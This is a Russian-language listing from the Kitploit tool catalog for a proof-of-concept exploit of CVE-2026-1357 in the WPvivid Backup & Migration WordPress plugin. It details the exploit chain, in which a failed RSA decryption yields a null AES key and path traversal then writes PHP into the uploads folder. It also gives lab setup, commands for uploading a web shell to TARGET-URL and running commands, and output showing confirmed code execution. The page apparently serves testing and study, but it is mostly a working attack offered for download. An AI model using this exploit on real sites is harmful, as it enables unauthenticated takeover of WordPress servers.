Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-1357 — CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Неаутентифицированный RCE-эксплойт | Kitploit
Инструменты/GitHubGitHub/halilkirazkaya/cve-2026-1357
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubhalilkirazkaya/cve-2026-1357

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Неаутентифицированный RCE-эксплойт

Репозиторий
14366 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-1357 — WPvivid Backup & Migration RCE

Неаутентифицированная произвольная загрузка файлов → удаленное выполнение кода

ПолеЗначение
CVECVE-2026-1357
CVSS9.8 (критический)
ПлагинWPvivid Backup & Migration
Затронуто≤ 0.9.123
Исправлено0.9.124
ОбнаружилLucas Montes (NiRoX)
PoC отhalilkirazkaya

Обзор

Плагин WPvivid Backup & Migration (≤ 0.9.123) содержит критическую уязвимость, которая позволяет неаутентифицированному злоумышленнику загружать произвольные PHP-файлы на сервер, что приводит к удаленному выполнению кода (RCE).

Цепочка эксплойта объединяет две ошибки:

1. Криптографический Fail-Open

Плагин обрабатывает удаленные резервные копии через хук wpvivid_action=send_to_site. При расшифровке сессионного ключа openssl_private_decrypt() возвращает false для некорректного RSA-ключа. Плагин не проверяет это возвращаемое значение и передает false в Crypt_Rijndael из phpseclib v1, который интерпретирует его как 16-байтовый нулевой ключ (\x00 × 16) с режимом CBC и нулевым IV.

2. Обход пути

Параметр name в расшифрованных JSON-данных не санируется. Злоумышленник может использовать последовательности ../, чтобы записать PHP-файл за пределы ограниченного каталога резервных копий в общедоступный каталог wp-content/uploads/.

Ограничение

Токен wpvivid_api_token должен быть сгенерирован в настройках плагина, и срок его действия не должен истечь.


Установка

1. Загрузка уязвимого плагина

Скачайте и распакуйте WPvivid Backup & Migration v0.9.123 (уязвимая версия):

root@kitploit:~
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

Будет создан каталог wpvivid-backuprestore/, который монтируется в Docker-контейнер через docker-compose.yml.

2. Запуск лабораторного окружения

root@kitploit:~
docker compose up -d

3. Настройка WordPress

  1. Откройте http://localhost и завершите установку WordPress.
  2. Перейдите в Плагины → Установленные плагины и активируйте WPvivid Backup & Migration.
  3. Перейдите в WPvivid → Настройки → Auto-Migration и нажмите Сгенерировать, чтобы создать ключ (это активирует уязвимый путь выполнения кода).

4. Установка зависимостей

root@kitploit:~
pip install -r requirements.txt

Использование

root@kitploit:~
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

Пример вывода (режим проверки)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Check
[*] Upload path  : ../uploads/h8xq9b3v2z1c.txt

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.

Пример вывода (режим шелла)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Shell
[*] Upload path  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd   : id

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ссылки

  • Консультация Wordfence
  • Оригинальный PoC от LucasM0ntes

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Используйте ответственно.

Скачать инструмент